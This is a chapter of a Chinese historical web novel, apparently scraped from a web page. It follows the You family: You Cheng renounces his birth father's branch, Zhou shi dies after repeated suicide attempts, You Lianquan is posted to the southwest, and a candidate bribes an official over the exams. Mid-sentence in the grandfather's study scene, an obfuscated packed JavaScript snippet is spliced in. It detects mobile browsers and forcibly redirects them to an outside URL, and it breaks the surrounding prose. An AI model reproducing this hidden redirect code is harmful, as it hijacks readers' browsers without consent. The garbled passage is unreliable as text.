游乘终究没有隐瞒，点了头，“是真的。不过事情都过去了，当年缺失的爱，我在长房‘爹娘’身边已补了回来。大伯和大伯母，待我如亲生子，余儿也跟我亲如兄弟。所以，我对周氏没什么恨了，早放下了。” 秦舒走在前面。 回头间，他将游乘的神色变化看在眼中，眉头舒展了些，心中已然有了数。 秦舒原地稍等，与游乘并肩而行，“既然你对二房早无挂碍，那你觉得……能不能直接否认与二房的血缘？对外只说，你压根不是游怜泉的儿子，自始至终是游怜山与容芝的亲儿？” 游乘垂眸沉思片刻。 他当然知道的，这是眼下平息流言、保住游家声誉的最好办法。若他承认与二房的关系，周氏虐待他的事，被落了实，到时不仅游怜泉会受牵连，整个游家都会被流言淹没。 再抬眼时，游乘的眼神已十分坚定，“若这是最好办法，我愿意一试。” 秦舒闻言，眼中露出赞许之色。 他将女儿秦徐交给游乘，应是没看错人的。游乘顾全大局，不纠结过往恩怨，世人有几个，能做到这一点？ 游家有他这样的后辈，是游家的福气。 秦舒顿了顿，补充道，“这事我会尽快与你‘父亲’游怜山商议，争取在京察出来前，对外公开，免得夜长梦多。” 游乘躬身，“盼着伯父费心周全。” 离开秦府，街上行人寥寥无几。 只有巡夜的官兵提着灯笼，沉稳地走过。 游乘与游余领着姜归，坐马车往侯府赶。 车厢里静默，姜归似是察觉他兄弟的不寻常，轻声开口，“你们游家迎来风雨，难处不小。” 游乘微愣，随即笑道，“可是，家家有难念的经，没什么稀奇。这些事，也不会影响到你。你若不想留在游家，我随时可赞助你银子，让你住在客栈，好好准备殿试。” 姜归摇头说不必。 他与游家交集不多，却也能看出，这场围绕游家的风波，是有心人在背地里操控。 但，既然是人为操控，便终有云开雾散。 马车很快抵达了司宁侯府游家。 大门气派非凡，门口有身着黑衣的侍卫看守。 更有热情的门房出来，躬身行礼，“二位公子回来了。” 游乘点头回应，又取了些碎银打赏。 门房互相看了看，拔高音量，“恭贺公子会试大捷！” 游乘嘴角上扬，领着姜归往里走，绕过曲折的回廊，到了长房的东园。 游怜山在正堂等候，见人进了院门，拉上身边的容芝，走下屋檐。 容芝发现儿子带回的少年人，微微一笑，继续问游乘，“考得顺利吗？” “不太难，应能有个好名次。” 游乘笑着回答，侧身，让出跟随的姜归，“娘，这位是江陵乡试解元，姜归，也是我的朋友。他暂时没地方住，想在咱家暂住一段时间。” 话是对母亲容芝讲，需要征求同意的，却是父亲游怜山。 少时，游家大爷游怜山，看向初次见面的姜归，露出温和的笑，“姜公子，既然是犬子的朋友，就安心住下吧。家中空房多，让人收拾一间就好。” “多谢大爷收留。”姜归行礼。 游怜山扶起他，吩咐丫鬟，“先前赵决住过的那间，物件齐全，换了新的床褥，给这位公子住。” “是，大爷。”丫鬟应了声，退了下去。 容芝不知有何事，也跟着丫鬟下去了。 游乘回过神，想起在秦家带来的人参，递到游怜山面前，“这是秦伯母给二房周氏的，她知道周氏身子不好，有点记挂。” 游怜山看着那些人参，“秦家有心。你母亲刚去了二房南园，等她回来，让她带去。” 游乘闻言，心中一动，“这么晚了，娘还要去南园？可是周氏病情加重了？” 游怜山轻轻叹气，“周氏……唉，她心里想不开，总觉得是自己连累了二弟，情绪一直不稳定。你娘放心不下，就过去守着了。” 游乘听了这话，心里跟着揪紧，他对周氏没感情，却也不愿见她出事。 他想了想，对游怜山说，“爹，还是我亲自把人参送去吧，顺便看看周氏的情况。” 游怜山觉得可行，只叮嘱他，“别跟周氏起冲突，她现在经不起刺激。” “儿子知道。”游乘拿起人参，转身往南园赶去。 南园离东园不远，步行片刻就到。 游乘走到院门前，听到里面传来隐隐的哭声，忙快步地走，等进到周氏的屋子，才惊觉大事不妙。 只见周氏的脖子里缠着纱布，眼角挂着泪，容芝正坐在她的床边，不停安慰她。 “娘，怎么回事？”游乘瞧着周氏的脖子，上前问道。 容芝见是他来了，起身拉他去一边，侧过身，低声道，“她今天在院中的梅树上吊了，幸好被丫鬟及时发现，救了下来。可她活着的心思淡了，光今天一天就寻了五次死。” 游乘听得心惊肉跳，侧目，看向床榻上的周氏，顿时感到五味难言。 他思考着，要不要安慰一下，周氏却忽然睁开眼，看到了他，瞬间失控大哭起来。 容芝忙不迭去扶周氏。 但周氏挣扎着下了床，一把抓住游乘的袖子，哽咽着道歉，“乘儿，是我对不住你……从前我不该那样待你，不该把你当成眼中钉、肉中刺。现在好了，我不仅给你留下了抹不去的伤，还连累了你父亲的前途，让他被人弹劾……我真是，罪该万死啊！” 话音未落，她用力推开游乘，就要往床头上撞去。 游乘眼疾手快，从后拦住她，急切地劝道，“您别做傻事！您要是没了，不仅改不了局面，反而让事变得更糟！到时，那些嚼舌根的人会说，您是畏罪自决，说父亲做了亏心事，游家的声誉更会一落千丈！” 容芝也温声劝道，“弟妹，你真觉得对不住乘儿，该好好活着，只有活着，才可以弥补过去的不对。你想想，你要是死了，怜泉怎么办？眼下，他已经够难了，你难道还要给他再添一层痛苦吗？” 周氏听着两人的话，哭声渐渐小了，可眼神依旧空洞，显然还是没什么活下去的心思。 这一切，都被容芝看在眼里，容芝悄悄对游乘使了个眼色，“乘儿，你先出去。你在这儿，她的愧疚反倒更重，怕是更撑不住。” 游乘明白，松开周氏，转身走出屋子。 他来到院子里，看到父亲游怜泉不知何时回了家，正蹲在石阶的角落，双手捂着脸，肩膀微微颤抖，像是在无声地落泪。 游乘走过去，在父亲身边蹲下，默默递过一方手帕。 游怜泉接过手帕，擦了擦眼角的泪水，声音哽咽着说，“是我当年糊涂……我不该对你的痛苦视而不见，不该纵容周氏那样对你。如今被人弹劾，都是我活该。可我担心的是，要是因为我的事，连累了你的前途，我这辈子都不会心安！” 游乘轻轻摇头，无法再忍受生父和游家其他人的伤痛，说出了在秦家商量的办法，“父亲，您别自责。若想保住您和周氏的名声，只有一条路了。恐怕，我得彻底割断与二房的关系。对外就说，我是大伯父的亲儿，从出生起就一直在长房，与您和周氏没有任何关联。” 游怜泉听到这话，身体猛地一僵。 他抬起头，不敢置信地看着游乘，“你……你说什么？你要否认我们是父子？” “这是无奈之举。” 游乘依旧平静，口吻却有不容置疑的意味，“只有这样，才能平息那些关于周氏虐待庶子的流言，才能让您在京察中保住职位。父亲，您在朝堂奔忙多年，不能因为这件事，毁了前途。” 游怜泉沉默了，他看着游乘坚定的眼神，知道游乘没有故意骗他，说的都对。 过了许久，游怜泉才缓缓点头，声音沙哑道，“好……就按你说的办。这事，也不能我一人做主，得征得你大伯的同意，最后还得让你祖父点头。毕竟，他才是游家的一家之主。” “儿子懂。” 游乘肯定地握紧了拳，“今晚我就找大伯说此事，尽快定下来吧。” 亲父子两人又沉默地蹲了会，游乘忽然看向游怜泉，执拗地追问，“有件事我想问问您。我的生母究竟是谁？真的是歌馆伎院里的女子吗？” 游怜泉把手中的手帕攥成一团，剧烈摇头，“当然不是！你生母本是我原定的未婚妻，名叫苏婉，是个知书达理的好姑娘。当年，是周氏为了嫁进游家，设计害了她……这些事，太苦了！你知道了只会更难过，以后，别再提了！” 闻言，游乘的心被什么东西狠狠揪了下。 他看着父亲的痛苦神色，知道此事不会有假。原来，自己的生母并非传闻中那样不堪，而是有名有姓有家世的好人家之女。 游乘深吸一口气，压下心中的情绪，“多谢父亲如实相告，以后，儿子不会再提。” 游怜泉紧绷的肩膀稍稍放松了些，但对于游乘的遭遇，仍然十分惭愧，“至于周氏，你也别恨。想一想，若不是当年那些事，你也进不了长房，遇不上容芝这样好的母亲。或许，这就是你的命！” 游乘沉默片刻，长叹一声，“雁过留痕……或许儿子做不到完全不恨，但儿子会尽量克制，不让个人恩怨影响大局。” 游怜泉听了这话，眼底露出一丝满意，“好，好。” 游乘从南园回来时，已是深夜。 东园的正堂里，游怜山和弟弟游余着急地等着他。 说到周氏的病情，游乘不想多谈，“总之，她不太好，完全不想活了。母亲陪着她，一点也不敢离开。” 游余听了这话垂下眼睛，一向开朗的他，此刻也变得一筹莫展。 游怜山更是眉头紧锁，“这样下去不行。” 游余看向父亲，咬了咬唇角，和哥哥游乘交换了一眼。 随后，他把秦家建议的办法说出来，向父亲请示能否实施。若游怜山同意，还要向祖父做最后的请示。 对此，游怜山自然没有他言，“我这边没问题，但你们祖父脾气固执，怕是难以说服他点头。” “可是事关游家的声誉，祖父不同意是不行的。”游乘道。 游怜山想了想，定夺道，“明天一早，一起去正院。” 兄弟俩回房休息，躺在床上，却怎么也睡不着。 游乘背过身，望着窗外的清月，想起生母的遭遇、周氏的痛苦、生父的懊悔。 一团乱麻在他脑海里交织，他不知道，自己这个决定究竟是对是错。 但也别无他法了。 次日朝堂休沐。 天刚亮，游乘就跟着游怜山与容芝，往祖父游仁泰的正院去。 平日正院很少有人闯入，贞嬷嬷出来接引，省去问安，直接关心道，“要不要将老夫人请出来坐镇？” “不必惊动母亲了，”游怜山坚持。 贞嬷嬷不给大家添麻烦，领着一行人去了书房前，“老侯爷一早就吩咐，说你们今天会来。” 进书房，祖父游仁泰坐在桌前看卷宗。 他年过六旬，头发已经花白，见三人来，他的目光扫过，语气平静，“都坐吧。” 长房三人落了座。 游怜山率先开口，“父亲，今日来是有件事想跟您商量。” 反正已经豁出去，游怜山毫无隐瞒和遮掩，说出让游乘与二房撇清关系的想法。 游仁泰听后沉默许久，笑道，“你们这个办法，确实能平息流言，保住声誉。但你们想过吗？这对怜泉是不是太不公平？” “眼下没有更好的办法了。” 游怜山恳切地起身，走到游仁泰跟前，躬身道，“再拖下去，不仅怜泉的官职保不住，游家也会被影响。这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246721|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法子，还是乘儿自己提出的，昨天就征得了二弟的同意。二弟愿意为了游家，不在乎这些。” 顿时游仁泰看向游乘，审视道，“乘哥儿，真的愿意？你要知道，一旦对外公布，你就再也不能认回你父亲了。” 游乘站起身，躬身，“祖父，乘儿愿意。” 游仁泰看着孩子坚定的面色，只好点头，“……既然你们都决定了，就按你们说的办。但，这事得做得周全，不能留下任何破绽，任何话柄。” “谨遵命令。” 从正院离开，几人走在回廊下，终是都松了口气。 接下来，消息就尽快对外发布，帮游怜泉和游家澄清流言。 要传播消息，最好是妇人丫鬟嬷嬷之间，街头巷尾之间。 容芝立刻找来阿桔和阿雪，吩咐她们前往街市，重新散布一些对游家和游怜泉更有利的传言。 游乘看着母亲忙碌，稍稍心定了些。 等消息流传出去，游家就能暂时摆脱困境，二房的日子也能好过些。 然而，事情的发展超出了所有人的预料。 当天后晌，祖父游仁泰突然亲自去了二房的南园。 没人知道，游仁泰和周氏在屋中说了什么，只知道游仁泰刚走没多久，南园的丫鬟阿雪就找不到二夫人周氏的身影。 直到入夜，阿雪才跑到长房，脸色惨白地告诉容芝，“二夫人……二夫人不见了！” “什么？” 容芝感到意外，她才一夜没守着周氏，就闹出这么大的乱子。 她急急赶到二房的南园，找遍了各处，的确找不到周氏，“怎会不见？昨晚不是已经商量出应对办法了？她怎会还是想不开？” 阿雪交代说，她守在南园门口，周氏穿了衣，要去院墙外赏花。阿雪不好阻拦，就让周氏出了门。结果等了半天，没见周氏回来。去院墙下找，早就没人影。 游乘听说消息也赶过来，派人找是肯定的，城里城外都要找，定要找回周氏。 后晌，游怜泉回家，得知周氏失踪，本就不坚强的他整个人都垮了。 他跑出去找人，夜半才回来，却没带回任何消息。 春夜透凉，南园里空荡荡的。 游怜泉独自站在院中，眼神空洞，丢了魂一样。 游乘对父亲失魂落魄的模样并不陌生，他上前，轻声安慰，“父亲别急，说不定周氏只是一时想不开，想出去散散心，过几天就回了。” 游怜泉没有说话，默默流泪。自家妻子周氏的性格怎样，游怜泉是知道的。 这次失踪，恐怕凶多吉少。 接下来几天，游家依旧没有周氏的消息。 游仁泰对此事却表现得冷淡，只是来南园看了一回游怜泉，淡淡地表达，“丢了就丢了，她是不想再拖累游家，自己走了吧！” 游怜泉听此话，心中更痛苦。因为周氏嫁进游家，用了不小的手段，父亲游仁泰一直对周氏不满，如今周氏闯下大祸，游仁泰巴不得周氏从世上永远消失。 周氏失踪的第五天，噩耗传来。 那日，容芝去为游乘与秦徐张罗的小家，送些桌椅、屏风，却见周氏直挺挺地倒在地上，早已没了气息。 容芝守着过世的周氏，让人通知二弟游怜泉和儿子游乘。 二人赶到，院里只有容芝一人，并无其他无关者。此番周氏带病离家，怕是万念俱灰，一心求死的。 游怜泉慌慌张张，拨开人群，跑到周氏身旁，不敢相信所见。 他抱起已经浑身冰冷的周氏，哭得撕心裂肺，“你怎么能这么对我！你怎么能丢下我一个人！” 容芝和游乘听了落泪，看游怜泉痛苦万分，心中很不是滋味。 游乘跪在游怜泉身边，“父亲，节哀顺变。她已经走了……” 游怜泉没有说话，抱着周氏不肯松手，不停落泪。 过了许久，他才抬起头，眼神空洞地看着容芝，沙哑地问，“大嫂以为，是不是游仁泰？是不是他逼死了周氏？是不是他跟周氏说了什么！” 容芝低头抹泪，不知如何回答这个锥心、但显而易见的问题。 一行人回侯府。 游怜泉坐在马车里，紧紧抱住周氏，眼神脸色显得麻木，毫无生气。 进大门时，门房站在一旁，不敢上前帮忙。 游怜泉脱下自己的外衣，盖在周氏身上，抱着她径直走了进去，却没去南园，而是来到正院。 老夫人邓氏迎上来，双目含泪，也不敢问一个字。 游仁泰的书房门开着，人稳稳坐在桌案后，仿佛对周遭的一切都不关心。 游怜泉抱周氏闯进去，老管家紧随身后，劝游怜泉冷静一点。 游怜泉置若罔闻，迎着游仁泰怔神的目光，喊了声“父亲”，“儿子找到周氏了。” 游仁泰从椅子上起身，怒声大吼，“你是不是疯了？抱个断气的女人回家？还嫌京中的流言不够多？” 游怜泉冷笑，冰冷道，“父亲口口声声说，为游家好，可您究竟怎么做的？您逼死周氏，难道不会引起更多猜忌？” 游仁泰转开眼睛，“胡说什么？我只是跟她聊家常，让她别给游家添麻烦，她怎么死的，跟我没关系。” “没关系吗？” 游怜泉激动地拔高音调，“您对她不满，给她施压，她还能怎么选？她只能走绝路了啊！您就是凶手！您害死了她！” 游仁泰气得浑身发抖，指着游怜泉，“你竟敢这么跟我说话！别逼我把你赶出游家！” 游怜泉大笑起来，可笑声里满是绝望，“当初游乘生母过世，我听您的安排，娶周氏进门，至今，有哪一件事上敢忤逆您？可就算我再听话，还是做什么都不对，做什么都不能让您满意！好了，现在周氏也死了，游乘成了大哥的儿子。我呢？我成了京城里最大的笑话……父亲，您满意，开心了吗？！” 游仁泰被说得哑口无言，脸色铁青。 从书房外冲进来的容芝，忙拉住了二弟游怜泉，“有话好好说，不可讲气话。” “事到如今，我还敢说什么！” 游怜泉满目泪水，望着父亲游仁泰，心死如灰，“我什么都没有了，父亲您要是还不满意，我还能怎么做？您告诉儿子，求求您！” 人终是被容芝劝动了，一同离开了正院。 耳根重归清净。 游仁泰坐在书房的桌后，胸口剧烈起伏，心恨难平。 对儿媳妇周氏，他有过不满，也确实对周氏说过“别再拖累游家”，可他从没想逼死周氏。 不知过了多久，老夫人邓氏慢慢走进来，帮着捡起地上的书册，摆放在游仁泰的手边，“早就劝你对几个儿子多点耐心，现在好了，连最听你话的游怜泉也误会了你。真不知，有一天我也闭了眼，你该怎么住在这个家里。” 游仁泰哀叹，摇摇头，“你别说了……我心里乱得很。那周氏怎会那般脆弱？我说她几句，她就寻了死？” 邓氏同样摇着头，“二房的事，早是隐患。怜泉惧怕周氏，不敢管束周氏，是最关键的原因……但眼下，不是争论对错的时候。周氏是游家儿媳，她的后事得妥帖，不能让人看笑话。” 游仁泰压下心中的怒火，冷冷地说，“按规矩办吧，别太铺张，也别太寒酸。” 说完，转身走出了院门，留下垂头无言的众人。 侯府上下都专注在二房嫡媳周氏的葬礼里。 整日，二爷游怜泉在灵堂呆呆坐着，不吃不喝，几天过后，瘦了好几圈，看起来憔悴不堪。二房的女儿游宜，同样悲不可言，幸而，有长房大伯母容芝照料着她。 长房的游乘和游余，轮流到灵堂，劝二伯游怜泉喝水休息，可游怜泉毫不搭理，坐在亡妻周氏的灵前，像没有灵魂的木头。 在侯府长房做客的姜归，仍旧住在东园。 他没过多参与二房的葬礼，却也看出游家的压抑。每次遇到游乘，他都能看到游乘眼中的疲惫。 这日傍晚，他又在院里遇到游乘，犹豫片刻，上前问道，“介舟还好吗？看你一直很忙，一定很累吧。” 游乘嘴上说，“没事，谢谢关心。” 随后，二人聊了些文章上的疑问，反而是游乘担心自家的丧事影响到姜归的心情，提出帮他租一间舒适的客栈，让他搬出去住。 姜归却不是势利的人，告诉游乘，自己留在侯府没有任何不便，只是很怕游乘为二房的事拖累，顾不上一个月后的殿试。 游乘只是让他安心，“什么重要，什么可以暂时放下，我心中有分寸。” 周氏的葬礼上，没有邀请太多宾客。 只有游家、周家的亲人和几个关系亲近的世交前来吊唁。 当天很阴沉，天空飘着雨丝，就像老天也在为周氏的离去哀悼。 给周氏下了葬，所有仪式结束，游怜泉依旧把自己关在南园，一连数日不吃不喝。 游怜山怕他熬坏身体，每天去南园送饭，看看他。 每次，都能看到他在院子的梅树下，愣愣地发呆，不说一个字。 游怜山站在游怜泉身旁，哪怕知道没用也必须劝，“人死不能复生，你不能一直消沉，游家还需要你。” 游怜泉毫无回应，只是苦笑，叹气。 游怜山又说：“眼下京察结果快出来，虽然你之前被人弹劾，有秦舒和袁至诚在中间周旋，京中对你的不利流言也已经没有了，你应能保住现在的官位。所以，你得振作起来，好好应对接下来的事。” 到了这时，游怜泉终于看向游怜山，“我累了，大哥……我不想再管京察，职位，只想安安静静待着，不可以吗？” 游怜山看着他的疲惫，知道这次打击太大，他短时间内很难恢复过来，“我不说了，你什么时候想通，什么时候再谈。游家，暂时有父亲和我在，不会出事。” 从南园绕出来，游怜山实在放不下，转道，去了正院。 小厮迎门，对游怜山行礼，“大爷，老侯爷在书房等您。” 游怜山惊讶，“父亲知道我来？” 小厮哪知道老侯爷的心思，领着游怜山道书房门外，敲了敲门。 门开了，游仁泰放下手中的文书，对游怜山说，“你是来跟我商量你二弟怜泉的事？” 游怜山点头，走近两步，“二弟现在这个样子，根本没办法应对朝堂。我想跟您商量一下，看看有什么对策，能让二弟振作起来。” 游仁泰捏着眉心，“谈何容易！之前针对他的弹劾那么多，就算被内阁压着，可皇帝心里肯定有想法。再说，周氏刚过世，外面又有不少流言蜚语。若是再让他留在京城，留在都察院，只会惹来更多麻烦。” 游怜山皱了皱眉，“那您的意思是？” 游仁泰缓缓开口，似乎早已想好对策，“我给陛下递了折子，请求为他‘夺情’，让他去西南任剿匪巡抚。西南悍匪作乱，朝廷缺人去清剿。让怜泉去，避开京城的流言，也能让他拿到军功，日后回京，好有交代。” 游怜山听后，脸色大变，“这怎么行？且不说夺情容易引起愤恨，西南那么危险，二弟的腿脚本就不好，现在情绪低落，去了那边，无心杀敌，万一出事怎么办？另外，他一走了，游家在朝中的势力，岂不又要削弱一大截！” 游仁泰不以为然，“那你有更好的办法吗？” 游怜山不知说什么，只坚持，“如果真像父亲所言，二弟剿匪能有出路，李家、李经章会愿意吗？” 游仁泰想了想，“李经章怎么敢反对？他不仅支持，还是大力支持。” 游怜山不免冷笑，“这肯定又是李家的诡计，他们就想趁机削弱游家的势力！” 游仁泰已经看清时局，“是不是诡计，不重要。这是最好的办法。让怜泉去西南，比在京城丢官、丢命要好。你也别再说了，这事我已定，陛下也已同意。过几天，圣旨就会下来。” 游怜山还想再劝，可再多说也没用处，还会闹得更僵，“好，只能先如此了。” 几天后，夺情任命的圣旨，传到了司宁侯府。 都察院左佥都御史，游家二郎游怜泉，被任命为西南剿匪巡抚，三日内启程赴任。 游怜泉起身接旨，看着那一个个清晰的字，面上没有一丝表情。 半晌，他才开口道，“这是我最后的机会，我会按时启程。” 游怜山闻言，松了口气，“二弟能想通就好，正如你所言，西南是个机会。三房侄子游编也在西南，你们叔侄当有个照应。日后，带着军功回京，定能再得重用。” 距离会试张榜，越来越近。 京城里的举子们都在翘首以盼，对于谁能夺得魁首，众说纷纭。 这其中，却没有任何人敢预测，这次会元还是游家长孙游乘。 毕竟，游家近几年的动荡颇多。 先是三爷游怜钊，死在查案路上，不明不白。 再是二爷游怜泉，虐待庶子的传言虽说已消失，但妻子周氏亡故，也是不明不白……二爷自己呢，不仅请求“夺情”，还被外放去穷困野蛮的西南，督导无比艰险的剿匪大任！ 如今的司宁侯游家，早没有从前的风光。 如今的司宁侯府，就靠着老侯爷游仁泰，和大爷游怜山，在苦苦支撑。 这二人的官职却也不上不下，十分尴尬。 尤其是大爷游怜山，卡在礼部左侍郎的位子上，被尚书李经章死耗着。 众人都在猜测，以李经章目前的地位和名望，游怜山怕要一辈子耗在这“礼部侍郎”上了。 日子飞驰，会试阅卷仍在继续中。 经过初轮的筛选，一共有一千份举子的考卷，被都察院的十八位同考官留了下来。 56. 放榜在即，舞弊案发 都察院副都御史，李家。 书房里，李司翻开西南送来的卷宗，在“贪墨军饷”四字上顿住，朱笔一圈，晕开一团红。 西南剿匪，持续多年，耗费的银两不计其数。 每次朝议时，户部一提起这事，皇帝会直接打断，听不下去。直到前几日，皇帝本就龙体欠佳，一听这话，顿时责问户部，一共花了多少银子在剿匪上。 户部尚书对答如流，却只让皇帝更愤怒。 当即，皇帝要求清查这些年军饷的去向，不可漏掉任何一笔。 核算完了军饷去向，接下来，便是大规模清算贪墨…… 经过内阁首辅李经章的推举，此差事，落在了李司的肩上。 可是李司感到棘手，军饷里头大有文章，他可不敢得罪那群舞刀弄枪的武夫，怕小命不保。 他也不敢怠慢查案，万一得罪李经章，只会更难受。 于是李司想出了对策，先拖着吧。等拖过了京察年，再和李经章商量，揪几个替罪羊顶上，军饷案就算了结。 李司左耳发痒，抬手就摸到一个豁口子。 这道伤，是被个粗鄙的农女咬的，名叫游宜。那女子性烈，李司想纳她为妾，可惜此女的父亲游怜泉不领情，如今，游怜泉已经被李司逼走，正在西南任剿匪巡抚。 且等来日，游怜泉便是军饷案的第一个“替罪羊”！ 正暗自得意。 管家掀帘进来，“大人，夫人在廊下等着，说有要事。” 李司眉头一皱，把朱笔一搁，“当”的一声脆响。他起身走到廊下，李夫人正攥着绣帕来回踱步，看似有几分焦虑。 李夫人听见动静，回头见李司来了，立刻迎上前，“夫君，湖西举子周慕，找上门了，就在前厅候着，还带了好些礼物，说是‘同乡礼’。” “让他马上走。” 李司腰间的玉带钩是和田玉做的，雕着莲纹。去年他到李首辅家送年礼，得到这份意义不凡的回礼，“会试阅卷期间，他一个举子来干什么？不怕连累本官？” “走不得啊。” 李夫人拉他的袖子，压低声音，“那周慕说了，是李首辅在西湖私学的捐助人之子，他还提了湖西办学的事，说父母给李家私学捐的银，超过十万两……” 李司听了这话，转身的脚步彻底停住。 湖西的几间私学，是内阁首辅李经章牵头办的。自己在湖西的家人是小门小户，他姐姐家挂着“私学监事”的名，每年能分些虚头巴脑的明账，但私学的真正账目是碰不着的。 此刻李司听周慕提这个，心里有几分不耐，也有几分期待。周慕家能捐十万两银，怕是真有些家底，他不舍得轻易放走周慕这条大鱼。 李司盘算着，转身往前厅走。 跨进门槛，他见一个锦袍的年轻公子从椅子上站起来。 周慕的锦袍色泽清浅，领口袖口滚着银线，十分精致。 他脸上堆笑，双手捧着礼物匣子，对李司躬身道，“学生周慕，见过李大人！久闻大人清正廉明，今日得见，果然气度不凡，比坊间传的还威严。” 李司没接匣子，只在主位上坐下，端起茶抿一口。 丫鬟招待周慕的茶水，是雨前龙井，看来也懂人情世故。只是这茶入口微苦，李司心里的烦躁被扩大了些。 李司捏着眉心，“周举子远道而来，心意本督知道了，但会试期间私见官员，于理不合。你还是早些回客栈吧。” 话音落下，周慕反而往前凑了半步，大有死皮赖脸的架势，“大人，学生此次来，不单是为同乡情谊。湖西那私学，学生父母前后捐十万两白银，去年冬天，给京城中的各位大人添炭火，也是学生家出的钱。学生想着，都是同乡，该来给大人问声好。” 李司放下茶，略了他一眼，“那是你们孝敬首辅大人的，与本督无关。” 周慕眼睛一亮，接话道，“大人这话就见外了！首辅大人和您都是咱们湖西的仰仗，学生今日见到李大人，还想着，让人捎信回湖西，让父母给大人姐姐家捐一座功德牌坊，刻上‘兴学育才’的功绩，让全乡人都知道大人一家的善举！” 李司的喉结滚动，端起茶又喝了一大口。 功德牌坊是读书人看重的脸面，他自己寒窗苦读十多年，虽考中状元，也没钱在老家立牌坊。 对周慕的提议，他是动心了的，但面上依旧绷着，眉头皱紧。 “本督岂会为这些外物所动？周举子，你若真有才华，朝廷自然会录用，何须走这些旁门左道？” 这时，周慕把木匣子往桌上一放。 随着“咔嗒”一声，铜扣弹开，里面铺着锦缎，放着好几幅卷轴。 周慕展开其中一幅，卷轴上的木香散开，“大人，这是学生家传的字画，是前朝米芾的《蜀素帖》摹本，虽不是真迹，却也是名家手笔。学生知道大人爱才，若能得大人引荐，见一见主考官张大人的侄子，张质公子，学生定当好好表现，绝不给大人丢脸，也不辜负大人的提拔。” 李司的目光在字画上扫了一圈，碰了碰卷轴边缘。 宣纸触感细腻，墨色浓淡相宜，确实是好摹本。他心里的天平渐渐倾斜，却还是板着脸，“也罢，本督看你也是个有心向学的，就给你一个机会。但你记住，本督看中的，不是你这些字画，是想为朝廷选才。” 周慕连忙点头，把匣子盖好，推到李司的手边，“学生明白！全凭大人安排！大人的恩情，学生记一辈子！” 事情谈妥了。 周慕跟着管家离开，到了府门前，他叫住准备进门的管家。 管家一向攀高踩低，因为李司不待见周慕，便也不给周慕好脸色，只冷道，“公子还有事？” “老管家，您能否行个方便，知会一声？李大人预计何时安排见张质公子？”周慕急切道。 管家不耐烦，“大人自有安排，你急也没用。” 周慕赶紧摸出一张五十两的银票，塞进管家手里，“一点小意思，您拿着买茶喝。劳烦您多通融，学生得不到准信，实在没着落啊。” 管家捏了捏银票，脸色缓和了些，凑到他耳边，小声道，“也就是今日了。午膳过后，你去千家胡同边上的‘不足斋’旁边巷子里等，到时，会有人来接你。记住，别多问，别跟人说，否则出了事，谁也保不住你。” 周慕连忙点头，笑着躬身，“多谢您！学生记住了！” 管家揣好银票，挥挥手，“赶紧走吧，别在府门口杵着，让人看见不好。” 心中想着事，周慕穿过近道，走回了客栈。 进门的时候，他听见里面吵吵嚷嚷的，再往里看，客栈掌柜正揪着一个布袍发白的举子，只往外推。 那举子怀里抱着打了补丁的蓝布包袱，头发乱蓬蓬，额发沾着汗，满脸是正气。周慕认出来，这人正是之前住在他隔壁的同年举子，江陵乡试解元，姜归。 “你赶紧滚！没钱付房费还敢来要东西？你当客栈是慈善堂？”掌柜的唾沫星子喷在姜归脸上，推搡着姜归的肩膀。 姜归不肯松手，反手拽着掌柜的胳膊，带着哭腔，“我那支狼毫笔还在房里！是我哥卖了家里的牛给我买的，你不能扔！那是我唯一的好笔了！” 周慕站在旁边，直皱眉头。素来，他瞧不上姜归这种穷酸举子。 吃饭只啃干麦饼，衣服打着补丁，连茶水都只要免费的白开水。 可周慕又怕此刻不帮忙，将来姜归入仕了，要记恨他，只好上前一步，清了清嗓子，“掌柜的。” 掌柜回头一看是周慕，脸上立刻堆起笑。 那笑容比刚才对姜归的凶样差了十万八千里，“周公子！您有什么吩咐？” “让他去房里找找吧，”周慕指了指姜归，语气淡淡的，“不过是一支笔，找到就了了，别在门口吵吵，影响客人。” 掌柜听言松开了手，拍拍姜归的衣裳，口气软下来，“姜举子，既然周公子都为你说话了，你赶紧上楼，找到就走啊！可别再耽误我做生意！” 姜归转头看向周慕，忙上前拱手，袖上的补丁十分显眼，“多谢周兄！今日若不是你，我这笔怕是真要不回来了。” 周慕点了下头，没再理他，也往二楼走。 他的靴子踩在楼梯上，发出吱吱呀呀的乱响，让他心里更堵得慌。 大家都说京城百般好，挤破脑袋都要来京城。 可谁知道呢？到了京城，想说上话，被人看得起，还是要靠银子。 周慕想着刚才，他给管家塞银票时，管家那副见钱眼开的样子，还有李司假正经的嘴脸，全部都让他觉得恶心。可他又没办法，若不找李司帮忙，凭他的本事，怕是连会试的榜都上不了，还能有什么更远的前程？ 周慕上了两级台阶，听见身后姜归的声音，“周兄怎么了？像是有心事。是不是遇到什么难处？” 周慕回头，扯了扯嘴角，露出一个比哭还难看的笑，“没什么，你不懂。” 这时，伙计端着托盘路过。 那托盘上放着两碟小菜，一碟嫩羊肉，一碟拌凉瓜。 伙计笑着问，“周公子，午膳想吃点什么？小的这就去吩咐厨房，做您爱吃的松鼠鳜鱼？” 周慕摆手，烦道，“不用了，我没胃口。” 姜归跟在后面，见周慕如此，从包袱里摸出一个干硬的麦饼。 麦饼用粗面做的，上面沾着点糠，因为时日太久，边缘已经有些发黑。 姜归把饼递过去，“周兄是不是银子不够用？我这还有饼，你先垫垫。它虽然不好吃，却能顶饿。” 周慕的目光落在麦饼上，胃里一阵翻腾。 从小锦衣玉食，周慕哪里吃过这种粗粝的东西？ 他连忙摇头，后退半步，“我一会约了人吃饭，现在不饿。” 说完就快步上楼，“砰”的一声，关上了房门。 姜归站在原地，手里捏着麦饼，饼渣直往下掉。 他缓了一会，想起下楼找掌柜要房门钥匙，刚才掌柜只说让他找，却没给钥匙。 “钥匙？” 掌柜的在柜台后拨算盘，“噼里啪啦”的，头也不抬，“你住的那房间早租给别人了！新客人去买东西了，要找也得等新客人回来，你要是愿意，自己在这等着吧！” 姜归没办法，只好在客栈门口的长凳上坐下。 才三月的天，不知怎么竟然有些晒。 